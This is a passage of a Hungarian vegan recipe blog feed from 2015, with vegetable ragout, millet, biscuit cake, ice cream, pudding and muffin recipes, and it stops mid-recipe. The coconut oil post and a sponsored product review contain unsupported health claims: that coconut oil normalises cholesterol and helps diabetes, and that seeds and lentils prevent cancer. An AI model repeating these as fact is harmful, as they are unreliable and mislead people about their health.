– 10-12 db közepes méretű burgonya, meghámozva, felkockázva
– 2 nagy fej vöröshagyma, felaprítva
– 4-5 gerezd fokhagyma, felaprítva
– 1 szál zeller vagy egy kis zellergumó fele, felaprítva
– 1 db közepes répa, felaprítva
– 1 db kisebb padlizsán, felkockázva
– 2-3 db közepes cukkini (kb. 10-15 cm hosszúak), felkockázva
– 1 db paprika, felkockázva
– 250 g csiperke gomba, felszeletelve
– 1 marék vöröslencse
– 1 db konzerv csicseriborsó, leszűrve, átmosva
– 350-450 ml paradicsomlé
– 100-200 ml víz
– zöldfűszerek: bazsalikom, oregánó, petrezselyem, felaprítva
– 2 teáskanál füstölt pirospaprika
– 1 evőkanál sörélesztő pehely
– só, bors
– kókuszzsír
A burgonyából burgonyapürét kell készíteni. Megfőzzük sós vízben a felkockázott burgonyát, majd leszűrjük. Adjunk hozzá 2-3 evőkanál kókuszzsírt, törjük össze, pürésítsük és tegyük félre.
Egy nagy serpenyőben kevés kókuszzsíron dinszteljük meg a vöröshagymát és fokhagymát a répával és zellerrel. Kb. 8 perc után adjuk hozzá a paprikát, a padlizsánt és a cukkinit. Főzzük közepes láng felett 8-10 percig, majd adjuk hozzá a gombát. Ekkor sózzuk, borsozzuk és szórjuk meg a füstölt paprikával. Pirítsuk, főzzük további 5 percig, majd öntsük hozzá a paradicsomlevet és a vizet. Először kevesebb mennyiséget a megadottnál, hogy a végén tudjuk hígítani a ragut, ha szükséges. Ekkor adjuk hozzá a zöldfűszereket is és újabb kóstolás után ízesítsük még sóval és borssal, ha szükséges. Főzzük addig, amíg a zöldségek éppen megpuhulnak (kb. 15 perc), alkalmanként megkeverve. Ezután adjuk hozzá a vöröslencsét és a leszűrt csicseriborsót és ha túl sűrűnek találjuk a ragut, lazítsuk egy kevés paradicsomlével és/vagy vízzel. Főzzük további 5-10 percig, majd zárjuk el alatta a gázt.
A ragut kanalazzuk át egy mély tepsibe, egyengessük el a tetejét, majd szedjük rá a már elkészült burgonyapürét. Simítsuk el a tetejét, majd szórjuk meg a sörélesztő pehellyel és egy kevés füstölt paprikával. 180C fokra előmelegített sütőben süssük kb. 20-25 percig, amíg a teteje egy kicsit megpirul, a ragu pedig bugyogni kezd.
Kókuszolaj jótékony hatásai
2015. augusztus 23. Élj harmóniában
KókuszolajSzerencsére egyre elterjedtebb az egészséges és változatos felhasználású kókuszolaj vagy más néven kókuszzsír. A kókuszolaj belsőleg és külsőleg alkalmazva is igazi csodaszer, táplálja a testet-lelket. A kókuszolaj fehér, kenhető, krémszerű állagú. Szobahőmérsékleten folyékonnyá válik, hűtőben tartva megkeményedik. Elsődlegesen hűsítő hatása van, így a nyári hőségben nagyon jó ha zsiradéknak ezt használjuk. hatásait tekintve erősíti az immunrendszer és energiával tölt fel. Segít normalizálni a koleszterinszintet. Jótékony az emésztésre, gyorsítja az anyagcserét, segít a fogyásban és kedvezően hat a cukorbetegségre. Támogatja a szív- és érrendszert , gátolja az érelmeszesedést. További jótékony hatásai, hogy vírus, baktérium és gombaölő és gyulladás gátló is. Külsőleg és belsőleg alkalmazva is táplálja a bőrt, széppé teszi a hajat. Vegyszermentes (bio) kókuszolajat használj!
Hogyan készítsük el a kölest finoman?
2015. augusztus 22. Éltető ételek
A köles gyakori vendég a konyhámban. Szinte naponta készítek valamilyen formában. Sokan nem tudják, hogy milyen sok jó élettani hatása van, de emellett még az is fontos, hogy finom. A köles nem igényel előzetes áztatást. Alaposan át kell mosni . Sokan nem szeretik az "illatát", ilyenkor én azt tanácsolom, hogy az átmosott kölest kevés zsiradékon pirítsuk át, és így főzzük meg. Minimum 3x mennyiségű vízzel kell elkészíteni. 15 perc alatt elkészül, utána még érdemes kicsit fedő alatt hagyni, hogy párolódjon. Én rendszeresen használom levesbetétként . Tehát, míg korábban galuskát vagy egyéb tésztát tettem a levesbe, most már kölest. Borsóleveshez, zöldségleveshez, sőt, ha néha húslevest készítek, ebbe is köles kerül. Ebbe a bablevesbe is kölest tettem. Az ezerarcú kása . Ez lehet édes vagy akár sós-fűszeres. Az édes köleskását sűrűre főzöm (én meg szoktam darálni a kölest), és mellé öntöm a növényi tejet. Kukoricával vegyesen szoktam ezt főzni, ez az aszaltgyümölcsös édes pulszka. Mindenképpen próbáljátok ki. Vagy növényi tejben főzöm meg, egy kicsit hígabbra hagyva. Ez az édes köles reggeli. Itt óriási lehetőségek vannak. Tehetünk hozzá különböző aszalt gyümölcsöket, kókuszt, fűszerezhetjük fahéjjal, narancsolajjal, gyömbérrel, vaníliával vagy akár szegfűszeggel. Kínálhatunk hozzá házi lekvárokat vagy friss gyümölcsöket. Megszórhatjuk csokireszelékkel vagy kakaóporral, de akár darált mákkal is. Mindig más-más ízt kapunk. A sós kása alapja mindig valamilyen zöldség. Én szeretem, ha sokszínű, ezért a narancssárga répa és valamilyen zöld zöldség (pl. brokkoli, zöldbab) mindig kerül bele. A fűszerezéssel mindig más-más ízvilág kerekedik ki belőle, és a végén ne felejtsük el a friss fűszernövényeket sem. A spenótos köleskása is nagyon finom. Gombócok készítése . Ennek alapja a sűrűre főzött köleskása. Készíthetünk belőle hamis túrógombócot, de én töltöttem már meg a gombócokat szilvalekvárral vagy datolyakrémmel is. Főzelékek sűrítése . Amikor a recept azt írja, hogy lisztes rántást készítsünk, akkor én előszeretettel használom erre a célra a köleslisztet. Szép sárga lesz a színe, és főleg gluténmentes. Sütemények, édességek, pudingok, péksütemények . A köles rudit szerintem mindenki ismeri. Nagyon kedvelt, és kis munkával elkészíthető sütemény. Amikor a tepsibe kölest öntünk, teszünk bele sok finomságot, felöntjük vízzel és megsütjük. Ilyen például a kókuszos kölessüti. De itt sem kell pontosan betartani a receptet, olyan aszalványt, olajos magot, fűszereket és gyümölcsöket teszünk bele, amilyeneket éppen szeretnénk. Viszont egy szabály van. Mindenképp várjuk meg, hogy kihűljön, így szépen szeletelhető lesz. Én császármorzsát is készítettem már kölesliszttel. A gluténmentes zsemlék, kenyerek fontos összetevője a köles. Köretek, egytálételek. Zöldséges raguk kiváló párosítása a köles, de a chilis babhoz is sokszor köles kerül (már csak a komplettálás miatt is). Nagyon finom a medvehagymás köles is, melyet akár gombócozni is lehet. A hamis burgonyapüré alapja is a köles. Krémek, kenőkék . Nagyon finom a köles kőrözött. Ezt még Zsófi lányom is szereti annak ellenére, hogy nem a kedvence a köles. Legalábbis jobb, ha nem tud róla, így minden gond nélkül megeszi. A csecsemők első étele lehet a hozzátáplálás során. Nagyon jó köleskásák kaphatók, de természetesen mi is készíthetünk a babánknak kását, illetve pépet gyümölccsel vagy zöldséggel.
Citromos keksztorta
2015. augusztus 19. Fittanyuka
Ennek e süteménynek a receptjét a hagyományos sajt torta ihlette, amelynek nagyon finom a kekszalapú sütemény része. Gyakorlatilag ez egy sütés nélküli édesség amely a nyári hőségben nagy előny.
A hagyományostól eltérően egy cukormentes és teljes őrlésű kekszet választottam. A Korpovit és a Detki keksz keverékéből készítettem el az alapot. Bármilyen friss, idény gyümölccsel feldobhatjuk a desszertünket.
Hozzávalók:
250 g keksz vegyesen :Detki cukormentes és Korpovit
200 g kókuszolaj vagy bio margarin
Krém:
200 ml kókusztejszín
300 ml víz
Használhatunk a tejszín helyett 500 ml növényi tejet is. Tejszínnel készítve krémesebb az állag.
100 g eritrit
1/2 citrom reszelt héja és leve
3-4 evőkanál kukoricakeményítő
késhegynyi őrölt bourbon vanília
A kekszet összetörjük, vagy robotgépben morzsává daráljuk. A kókuszolajat vagy bio margarint megolvasztjuk és összekeverjük a kekszőrleménnyel. Egy kapcsos tortaforma (10-12 szeletes forma) aljára alaposan lenyomkodjuk a kekszes keveréket. Egy pohár aljával még alaposan elsimítjuk. Bármilyen formát használhatunk, én egy szögletes formát választottam most. Hűtőbe tesszük.
Elkészítjük a krémet: A krém hozzávalóit hidegen csomómentesen elkeverjük és kis lángon főzni kezdjük állandó keverés mellett. Addig főzzük amíg besűrűsödik. Kissé állni hagyjuk, de még melegen ráöntjük a kekszalapra. Miután kihűlt visszahelyezzük a hűtőbe minimum egy óra hosszára.
Szeletelés előtt a kapcsos pántot levesszük és kedvenc gyümölcsünkkel tálaljuk.
Vegán, gluténmentes áfonyás házi fagylalt
2015. augusztus 14. Élj harmóniában
A fagyit szinte mindenki szereti, de sajnos a boltokban kapható fagylaltok túl sok adalékanyagot tartalmaznak, így célszerűbb ha otthon készítünk gyorsan valami egészséges, jeges finomságot. A nyári gyümölcskínálatnak köszönhetően elég jól elengedhetjük a fantáziánkat a készítéskor:) Ez a kókusztejes, áfonyás fagyi egy tejmentes, vegán hűsítő finomság. Gluténérzékenyek és tejérzékenyek is fogyaszthatják. Az áfonya csodás hatásairól itt olvashatsz. Hozzávalók: - 30 dkg áfonya - 3 ek. datolyaszirup ( méz vagy nádcukor) - 1 fél citrom leve - 3 dl kókusztej - vanília Mosd meg az áfonyát. Egy edényben keverd habosra a kókusztejet, majd lassabb fokozaton keverve add hozzá az áfonyát, datolyaszirupot, vaníliát. A fagyit teheted pohárba vagy valamilyen jégkrémformába és pálcikát is tehetsz bele. Tedd a fagyasztóba és némi fagyasztás után már fogyaszthatod is:) Vegyszermentes (bio) alapanyagokat használj!
Gyümölcsös nyári pohárkrém (Nyers)
2015. augusztus 11. Fittanyuka
40 fokos hőségben kinek van kedve sütni?! Nyáron szeretem a sütés nélküli desszerteket készíteni, ezek leginkább friss gyümölcsökből készülnek, fagylaltok vagy pohárkrémek. Nyers összetevők előnye, hogy könnyen feldolgozza a szervezet, hűtő hatásuk van és enzimben gazdagok. Az alábbi krém alapja az érett avokádó. fontos, hogy az avokádó puha és “krémes” állagú legyen. Tipp: Ha kemény az avokádó hagyjuk szobahőmérsékleten beérni vagy tegyük banánok közé, gyorsabban megpuhul. Hozzávalók (2-3 fő részére): 1 db érett avokádó 1 -2 db banán 3 evőkanál kókusztejszín 1 evőkanál magas kakaótartalmú kakaópor késhegynyi bourbon vanília vagy vanília rúd kikapart belseje pár csepp friss citromlé tetszőleges friss gyümölcsök A banánt az avokádóval, kókusztejszínnel összeturmixoljuk, bele keverjük a vaníliát, citromlevet. A krémet kétfelé osztjuk, az egyik felébe beledolgozzuk a kakaóport. Az így kapott krémeket a választott gyümölcsökkel rétegezzük a poharakba. Én most friss barackot választottam és fagyasztott cseresznyét, így hűvösebb lett a desszert.
Édesburgonya fűszeres csicseriborsóval
2015. augusztus 5. Éltető ételek
Amennyiben van előre megfőzött csicseriborsó, akkor ez a könnyed vacsora fél óra alatt elkészül. Nagyon ízletes, különleges fűszerezésű, ugyanakkor tápláló is. Hozzávalók (2 adag): - 2 édesburgonya - 1 vöröshagyma - 2 marék brokkolirózsa - 2 evőkanál olívaolaj - 4 gerezd fokhagyma Fűszeres csicseriborsó: - 1 evőkanál kókuszolaj - 15 dkg csicseriborsó - 1 gerezd fokhagyma - 2 marék spenót - himalája só, őrölt római kömény, chili, oreganó, kurkuma Fokhagymás mártás: - 5 dkg kesudió - 1 teáskanál tahini - citrom leve - kapor - himalája só - 1 gerezd fokhagyma - víz Elkészítése: Az éjszakára beáztatott csicseriborsót 1-2 babérlevélben főzzük meg (kb. 1 óra). Csak a végén sózzuk!A batátát hámozzuk meg, majd kockázzuk fel nagyobb darabokra.Egy tepsibe tegyük bele a batátát, a felszeletelt hagymát, és egészben a fokhagymát.Locsoljuk meg egy kevéske olívaolajjal, sózzuk és tegyük be a sütőbe. 200 fokon 10 percig süssük.Adjuk hozzá a brokkolirózsákat, keverjük össze, és süssük ismét úgy 10 percig.Közben készítsük el a fűszeres csicseriborsót. Egy serpenyőbe tegyünk 1 evőkanál kókuszolajat, majd adjuk hozzá a csicseriborsót. Fűszerezzük, és süssük össze. Úgy 5 perc elteltével reszeljünk bele 1 fokhagymát és adjuk hozzá az összetépkedett spenótot is. Süssük össze.A mártáshoz mindent turmixoljunk össze. Ha van idő, akkor a kesudiót 1-2 órára áztassuk be.
Cukkínis, pirított napraforgómagos miniikifli
2015. augusztus 4. Élj harmóniában
Az új manuális aprítón fellelkesülve, ma újabb receptet találtam ki. Valamilyen rágcsálnivalót szerettem volna készíteni, ami kicsit más mint a megszokott sajtos rúd és társai. Végül sós minikifliket készítettem vajas tésztából és tölteléknek friss cukkinit és pirított napraforgómagot használtam. A férjemnél nagy sikere lett az elkészült minikifliknek:) Elég egyszerűen elkészíthető. Ideális vendégváró csemege vagy jó kirándulásokra, kerti partikra vinni. Vegetáriánusok számára külön jó hír, hogy a napraforgómag és a liszt keverékének köszönhetően teljes értékű fehérjét tartalmaz - minden szükséges aminosav jelen lesz ahhoz, hogy és a napraforgómagban és a lisztben lévő fehérje is be tudjon épülni. Hozzávalók: - 20 dkg liszt (13 dkg fehér tönkölylisztet és 7 dkg teljes kiőrlésű tönkölylisztet használtam, de bármilyen lisztből el tudod készíteni) - 15 dkg hideg vaj (vegán változatban lehet kókuszzsír) - 1 dl hideg víz - 10 dkg cukkini (a cukkini jótékony hatásairól itt olvashatsz) - 20 g napraforgómag - só - bors - bazsalikom A hideg vajat, a lisztekkel, csipet sóval morzsold el majd add hozzá a vizet. Az így keletkezett tésztát lisztezett felületem nyújtsd ki és hajtogasd néhányszor. A tésztát tedd minimum egy órára a hűtőbe. Szárazon egy serpenyőben pirítsd meg a napraforgómagokat. Majd a cukkinit a napraforgómagokkal, sóval, borssal, bazsalikommal tedd egy aprítóba és készítsd el a tölteléket. Vedd ki a tésztát a hűtőből és nyújtsd ki kerek formára és a kerek lapot vágd 8 cikkre. A cikkekre helyezd rá a tölteléket és tekerd fel. Előmelegített sütőben kb. 180 fokon addig süsd amíg kicsit megpirul. Vegyszermentes (bio) alapanyagokat használj!
Egyéjszakás csokoládépuding chiamaggal
2015. augusztus 2. Éltető ételek
Ennél egyszerűbben pudingot nem nagyon lehet készíteni. Csak össze kell turmixolni mindent, majd egy éjszakára érdemes a hűtőben pihentetni. De ha te hamarabb szeretnéd enni, akkor is várj vele 3-4 órát. Egy kis banános granolával és gyümölccsel rétegezve tápláló pohárkrém kerekedik ki belőle. Hozzávalók (4 adag): Csokipuding - 0,5 liter rizstej - 6 dkg chiamag - 2 evőkanál cukrozatlan kakaópor - 6 db aszalt datolya kis darabokra vágva - 1/2 kávéskanál fahéj - 1/2 kávéskanál vaníliapor - 1/2 érett banán - 3-4 csepp narancsolaj - csipet himalája só Kókuszkrém - 1/2 doboz kókusztejszín - 1 evőkanál méz vagy juharszirup - 1 evőkanál útifűmaghéj - málna - áfonya Elkészítése: A csokipudinghoz mindent turmixoljunk vagy botmixerezzünk össze.Tegyük be a hűtőbe 1 éjszakára, de legalább 3-4 órára.Másnap a kókusztejszínt keverjük ki a mézzel és az útifűmaghéjjal. Hagyjuk állni úgy 10 percet.Egy pohárba rétegezzük málnátcsokipudingotkókuszkrémetáfonyátbanános granolával megszórhatjuk a tetejét.
Áfonyás kókuszos muffin (vegán, gluténmentes)
2015. július 31. Zizi kalandjai
Na végre egy süti a blogon és most az idő is olyan, hogy érdemes bekapcsolni a sütőt. Egyszerű muffinok, én áfonyával dobtam fel, de lehet beletenni szedret is, vagy ha van még friss málna elvétve, akkor azt is. Hajdinalisztből készült, de ezt legközelebb lecserélném hajdinaliszt és mandula/mogyoróliszt (darált mandula vagy mogyoró) keverékére, úgy nem lenne intenzív a hajdina íze, amit sokan nem szeretnek. Aki nem szereti a hajdinát, az nyugodtan cserélje le tönkölylisztre, csak akkor nem lesz gluténmentes. A tésztába raktam zabpelyhet is, szóval csak akkor 100%-osan gluténmentes, ha sikerül gluténmentes zabpelyhet beszerezni.
A sötét színét a kókuszvirág cukor adja, nem égettem meg őket! Szeretem a kókuszvirág cukor ízét, de annyira megszínezi a kekszeket, muffinokat, hogy olyan, mintha odaégettem volna a sütit… ez néha magyarázatra szorul, pláne, ha ajándékba, vendégségbe viszem a sütiket. A kókuszvirág cukron kívül, kókuszolaj és kókuszreszelék is került bele.
Gyorsan összedobható, próbáljátok ki a hétvégén!
Áfonyás kókuszos muffin (vegán, gluténmentes)
Hozzávalók:
– 3/4 bögre hajdinaliszt
– 1/2 bögre mandula/mogyoróliszt (darált mandula vagy mogyoró)
– 1/3 bögre kókuszreszelék
– 1/2 bögre zabpehely
– 3/4 bögre kókuszvirágcukor
– 2 evőkanál lenmag + 6 evőkanál víz (tojás helyettesítésére)
– 1 és 1/2 teáskanál szódabikarbóna
– 1/4 teáskanál fahéj
– 1/2 teáskanál só
– 1/2 bögre almapüré/almaszósz (jó a kis üveges bébiétel almapüré, ez 125 g és 1/2 bögrének felel meg)
– 1/2 bögre rizstej + 1 teáskanál almaecet
– 1/4 bögre kókuszolaj
– 1 vaníliarúd kikapart magjai
– áfonya
Egy tálkában keverjük össze a lenmagot a vízzel és hagyjuk állni néhány percig, amíg kocsonyás állagú lesz. Melegítsük elő a sütőt 175 fokra. Béleljük ki a muffintepsit papírkapszlikkal.
Egy tálban keverjük össze a száraz hozzávalókat: hajdinaliszt, mandulaliszt, kókuszreszelék, zabpehely, szódabikarbóna, kókuszvirágcukor, fahéj és só. Egy másik tálban keverjük össze a nedves hozzávalókat: almapüré, rizstej, kókuszolaj és vanília és lenmag víz keveréke. A nedves hozzávalókat öntsük a szárazhoz és keverjük össze. Adjuk a tésztához az áfonyát és jól keverjük el.
Kanállal osszuk el a tésztát egyenlő részben a muffinformákban. Süssük 175 fokon kb. 25-30 percig, amíg aranybarnák lesznek. Kivétel előtt azért végezzünk tűpróbát, hogy jól átsültek-e a muffinok.
Napraforgós pástétom
Hozzávalók:
2 fej vöröshagyma
6 gerezd fokhagyma
1 púpos csésze sótlan napraforgómag (csésze = 2,5 dl)
4 ek sörélesztő pehely
4 ek olíva olaj
ízlés szerint vegamix, só
2 ek kókuszzsír
[...] Bővebben!
Kókuszkrémes rizspuding nyers baracklekvárral és pirított dióval
2015. július 25. Éltető ételek
Újabb puding készült a konyhámban a gyerekek nagy örömére. Az alap puding nem más, mint a vegán "tejbegríz", így egyszerre kétfélét készítettem. Az egyik kakaós lett, a másik pedig ez a finom barackos. Hozzávalók (5 adag): 1 csésze rizsliszt (én egész rizsszemet pelyhesítettem le 2x, így nagyon jó kis rizsliszt lett belőle) - 2 csésze rizstej - 1 csésze víz - 2 evőkanál kókuszreszelék - 1 kávéskanál vaníliapor - fél doboz kókuszkrém - 2-3 evőkanál juharszirup (nem vegánoknak méz) - csipet himalája só Nyers sárgabaracklekvár - 50 dkg sárgabarack - 2-3 evőkanál juharszirup (vagy méz). Persze ízlés és a barack érettségétől függően - 1/2 kávéskanál vaníliapor - 2 evőkanál chiamag Tetejére: - őszibarack kockázva - durvára törté dió enyhén pirítva Elkészítése: - A tejet és a vizet tegyük fel egy lábasba főni. Adjuk hozzá a kókuszreszeléket és a vaníliaport. Főzzük meg benne a rizslisztet. Nagyon sűrű massza lesz, de nem baj. - Vegyük le a tűzről, és keverjük bele a kókuszkrémet. - A lekvárhoz botmixerezzünk össze mindent.Egy tálkába tegyük bele a sárgabaracklekvárt, kanalazzuk rá a pudingot. Mivel egy kicsit lágy lett, így belesüllyedt a lekvárba, így a közepén volt a puding, melyet körbeölelt a lekvár.Tegyük be a hűtőbe úgy 1-2 órára.Tálalás előtt tegyük rá a felkockázott őszibarackot és a pirított diót.BABAKONYHA: A diót hagyjuk ki, és a babák nyugodtan ehetik is.
Barackos desszert (nyers, gluténmentes, vegán)
Ha a sütemény alapjába sok diót használunk, ízében hasonlíthat a zserbóra. Mivel kókuszreszelékkel szórtam meg (időhiány miatt) és nem nyers csokiszószt kentem a tetejére, így egészen nem foghatom rá, hogy nyers zserbó. Praktikus kis süti, mivel a nagy melegben egyrészt gyorsan kész (csak a hűtőben kell dermednie), másrészt pedig nem kell sütni! Hozzáadott cukrot nem tartalmaz (legfeljebb az aszalványokban fellelhetőt). Rostdús, ami kifejezetten egészséges desszertté teszi. A sárgabarackok magas béta-karotint tartalmaz tartalmaznak, ami hozzájárul a látás és az immunrendszer egészségéhez, emellett a bőr, a csontrendszer és a fogak számára is fontos tápanyag. Magas káliumtartalmának köszönhetően a megfelelő izomműködés és szívverést is elősegíti, kihat a vérnyomásra megfelelő szinten tartására is. (Tehát kálium-hiányos betegeknek nem csak banánt lehet fogyasztani, hanem sárgabarackot is.) Sajnos igen rövid ideig - július és augusztus heteiben- élvezhetjük a hazai sárgabarackot. Ha van otthon jó puha, finomra érett sárgabarackunk, érdemes az alábbi finomságot elkészíteni vele.
A desszert alapja:
Hozzávalók:
- kb. 2-3 nagyobb bögre olajos magvak (pl.dió, lenmag, napraforgómag)
- aszalt gyümölcs (főként datolya és/vagy mazsola)
- víz
Elkészítés:
Az olajos magvakat jó alaposan megdaráljuk pl. kávédarálóval. (Lenmagot, diót használtam leginkább, valamint okosmagos őrleményként némi sport-formula őrleményt, de bármi más olajos magot használhatunk, a lényeg, hogy lisztszerű állagra őröljük.) A datolyát felaprítjuk, meleg vízbe beáztatjuk, majd ha felpuhult, a vizet leszűrjük róla és gyorsraprító gépben pépesre daráljuk. Ezt hozzákeverjük az olajos mag őrleményhez. Egy kevés vizet adunk még hozzá, majd előveszünk egy tortaformát vagy egy tepsit és folpackkal kibéleljük. Ezután az aljába nyomkodjuk a nyers tésztát. Hűtőbe tesszük, míg a barackos krém elkészül.
A barackos krém receptje:
Hozzávalók:
- 2-3 bögrényi nagyon érett sárgabarack (fagyasztott is lehet)
- meleg vízben áztatott datolya (kb 1/3 bögrényi)
- max. 1 dl víz
- útifűmaghéj
Elkészítés:
Vegyük elő a turmixgépet (vagy egy erős aprítógépet) és a fentieket az útifűmaghéj kivételével tegyük bele. Indítsuk el, és ha a barackból barackszószunk lett, akkor kb 5-6 evőkanálnyi útifűmaghéjjal is turmixoljuk össze. Hagyjuk állni (inkább hűtőben, ha nagyon meleg van), kb. negyed óra múlva kenhető állagú krém lesz belőle. Ha nem elég szilárd ahhoz, hogy kenni tudjuk, még némi útifűmaghéjat keverjünk hozzá (fakanállal is átkeverhető). A kész krémet egyszerűen elkenjük az őrölt magokból készült tésztán. Hűtőben tároljuk tálalásig. Tálalás előtt a fóliával kiemeljük a formából, lehúzzuk alóla a fóliát, a tetejét megszórjuk kókuszreszelékkel (ha csokiszósszal kennénk meg, akkor további dermedési idő kell neki a hűtőben) és elképzelésünk szerint felszeleteljük. Gyorsan elfogyott.
(Én még tavasz végén készítettem el fagyasztott barackból, ezért látható a háttérben néhány szál gyönyörű tulipán.)
5 perces pohárkrém sütés-főzés nélkül
2015. július 21. Éltető ételek
Persze csak akkor, ha minden alapanyag van a konyhádban. Múlt héten vettem két szép, de kemény avokádót azzal a céllal, hogy majd lesz belőle valami. Mostanra jó puha lett, és a felszeletelt banán is a fagyasztóban csücsült. Egyébként is tartok belőle rendszeresen, mert ebben a nagy melegben fincsi fagyi lesz belőle. Na de ez már más recept. Áztatott, szárított dió is mindig van a spájzban, a kókuszreszelék is mindennapos eledelünk. Hajdinát úgy két hete csíráztattam, melyet utána kiszárítottam, így ezzel sem volt gondom. De ha ez utóbbi nincs, enélkül is fincsi lesz ez a pohárkrém. Hozzávalók: (4 adag) Morzsa: - 10 dkg áztatott/szárított dió - 3 evőkanál kókuszreszelék - 1-2 evőkanál kókuszvirágcukor - 1-2 evőkanál szárított hajdinacsíra - 3-4 csepp narancsolaj Csokis krém: - 2 érett avokádó - 4 fagyasztott banán - 1 evőkanál cukrozatlan kakaópor - 2-3 evőkanál kókuszvirágcukor - 4-5 csepp narancsolaj Tetejére: gyümölcs (én most őszibarackot kockáztam rá) Elkészítése: A morzsához a diót törjük össze. Én zacskóba szoktam tenni, és jól összetöröm. Persze ne legyen dara, mindenképp nagyobbacska maradjon. A többi hozzávalóval keverjük össze.A csokis krémhez botmixerezzünk össze mindent.A barackot hámozzuk meg, és daraboljuk fel.Állítsuk össze a pohárkrémet: morzsa, csokis krém, morzsa, barack.
Ajándékcsomagunk érkezett a Természet Áldásától!
2015. július 16. Mindennapi ételeink
Szeretnék nektek egy nagyon korrekt, gyors, segítőkész és hihetetlenül jó dolgokat forgalmazó céget bemutatni. Biztosan emlékeztek a legutóbbi facebook nyereményjátékunkra, melyen gyümölcsleveket lehetett nyerni a Természet Áldása jóvoltából. Nos, mi egyéb termékeiket is kóstoltuk és nyugodt szívvel tudom ajánlani őket. Sok mindent forgalmaznak, többek között mi az alábbi termékeket kaptuk most kézhez: Kókuszolaj: Mi az itteni bioboltban is ezt szoktuk vásárolni. A kókuszolajról majd írok egy külön bejegyzést, hogy miért ebben és ezzel sütök, illetve mikhez szoktam használni. Most ajánlanék egy süteményt, amelybe ezt kevertem (vaj helyettesítésére kiváló), ill. egy sós pástétomot is. Ez a kedvenc pástétomunk, mindig van itthon. :-) Vöröslencse: Azért szeretjük, mert hamarabb elkészül (nem kell beáztatni, ill. könnyebben meg is fő), mint a hagyományos barna lencse és nem fúj fel annyira, így Fanninak is nyugodtan adhatom. Bár ő a barna lencsét is szereti, pástétomként, levesként vagy főzelékként elkészítve, csak az jobban megterheli az emésztését. A lencse javítja az anyagcserét, növeli az immunitást, normalizálja a vizeletkiválasztó rendszer működését, szinte az egész napi szükséges folsavadag megtalálható benne, omega 3 és omega 6 zsírsavakat, magnéziumot, vasat, triptofán nevű aminosavat tartalmaz (ez utóbb idegnyugtató, segít az elalvásban, depressziós napokon). emellett található benne isoflavon is, mely megmarad a főzés után. Ez a mellrák megelőzésében játszik fontos szerepet. A vöröslencséből szoktam készíteni krémlevest, pástétomot és fasírtot is. Jázminrizs: Thaiföldről származik, illatos rizsnek is nevezik. Pikáns, finom aromája van, könnyen puhul. Én szoktam köretként, süteményként, tejberizsként, rakott ételként és fasírtként is elkészíteni. Bulgur: Kevésbé ismert gabona, amellyel színessé tehetjük étkezésünket. Szuperköretnek is szokták nevezni, nem véletlen. Rostokban, vitaminokban, ásványi anyagokban gazdag, B-vitamin és vas is jócskán van benne. Ráadásul alacsonyabb a glikémiás indexe, mint a rizsé, tehát diétához is nagyon ajánlott. Szoktam belőle készíteni rakott ételt, fasírtot, köretet, salátát, édességet is. Napraforgómag: Kezelhetjük vele a székrekedést és vizelethajtó tulajdonsága is van. A folsavban gazdag mag pedig egy igencsak értékes tápanyagforrás a női szervezet számára. Sok benne a jó zsír, antioxidáns, E-vitamin, szelén és réz is. Csökkenti a sejtkárosodással járó betegségek kialakulását , megvéd a szívbetegségtől és a ráktól is. A napraforgómag nyugtatja az agyat is, hiszen a benne levő tripofán megnöveli az agyban levő szterotonin szintet. Energikussá teszi a szervezetet, és javítja a látást is. A vegán konyhában alapvető élelmiszer: vegán tejfölt készíthetünk belőle, ill. finom pástétomok alapja lehet. Barna lenmag: Koleszterincsökkentő hatása miatt ér-és szívbetegségben szenvedőknek kifejezetten ajánlott a fogyasztása, székrekedés esetén szabályozza az emésztést, omega 3 tartalma kiemelkedően magas. Külsőleg is gyógyításra használják: borogatásként enyhítheti a gennyes pattanásokat. Vegán konyhában szintén elengedhetetlen alapanyag, tojás helyettesítésére használjuk. 1 ek. lenmagőrlemény és ugyanannyi víz keveréke egy tojásnak felel meg. Így kerülhet süteménybe, fasírtba. Zabpehely: A zab az egyik legrégebben termesztett gabonaféle, több tucat faja ismert. Zabból főtt kását először a görögök készítettek és fogyasztottak. A zabpehely kevés kalóriát tartalmaz, viszont rost- fehérjetartalma magas. Jelentős mennyiségben tartalmaz B1- vitamint, de számottevő B2-, B3-, B6- és K-vitamin tartalma is. Ásványi anyagok közül kiemelkedő mangán-, magnézium-, réz- és foszfortartalma, de gazdag kalciumban, vasban és cinkben is. A zabpehely rendszeres fogyasztása javíthatja az emésztést és a csontok, valamint erek általános állapotát. Nálam sokszor fasírt készül belőle, sokszor palacsinta, vagy édes keksz. Mák: Egy-egy mákkal dúsított ételből alkalmanként nem nagy mennyiséget eszünk, ennek ellenére értékes tápanyagtartalmú élelmiszer. A vitaminok közül értékes B1-, B6-, B2-, niacinforrás.. Az ásványi anyagok közül pedig nagyobb mennyiségben kálciumot, cinket, mangánt, rezet, vasat, foszfort, káliumot és magnéziumot tartalmaz. Az orvostudomány széles körben alkalmazza gyógyszerek alkotórészeként, így köhögéscsillapításra, görcsoldásra, vagy súlyos betegségekben a végső fájdalom csillapítására. Vegán mákos sütemény, kölespuding, vagy mákos sós rúd készül belőle. Világos nádcukor: Természetes cukor, a szervezet sokkal jobban fel tudja dolgozni, mint a fehér cukrot, előállítása nem vegyi eljárással zajlik, Frissen aratott, hagyományosan művelt cukornádból nyerik. A boltokban kapható "barnacukor" a legtöbb esetben nem más, mint fehércukor nádmelasszal színezve. Így az nem egészségesebb, mint a fehércukor (bár az elnevezés alapján sokan ezt feltételezik), szemben az élettanilag valóban sokkal előnyösebb nádcukorral. Tehát ajánljuk figyelmetekbe a céget. Jó vásárlást, kóstolást kívánunk!
Feketemustármagos zöldbab paradicsomos szószban
2015. július 15. Élj harmóniában
A piacon megannyi zöldségféle, szinte minden nap másból lehet finomságokat csinálni. Ma a zöldbabra és a paradicsomra esett a választásom:) Hozzávalók: - 450g zöld színű zöldbab - 5-6 közepes paradicsom - 1/2 tk. feketemustármag - 1/2 tk.őrölt koriander - 1/2 tk. őrölt római kömény - 1/4 tk. kurkuma - 1 tk. só - 1,5 cm gyömbér apró darabokra vágva - 2 ek. ghí (vegán változatban kókuszzsír ) - 250g friss házi sajt (panír) vagy cottage chesee - (vegán változatban hagyd ki a sajtot) A zöldbabot mosd meg, vágd le a végeit és vágd fel darabokra. A paradicsomot mosd le, majd mártsd forró vízbe és távolítsd a héját és turmixold le vágd nagyon apró darabokra. Hevítsd fel egy edényben a ghít és először tedd bele a feketemustármagot - fedd le, mert a mustármagok amikor kipattognak könnyen elkezdenek kiugrálni az edényből:). Amikor már nem hallod a pattogó hangokat akkor tedd hozzá koriandert, római köményt, kurkumát, 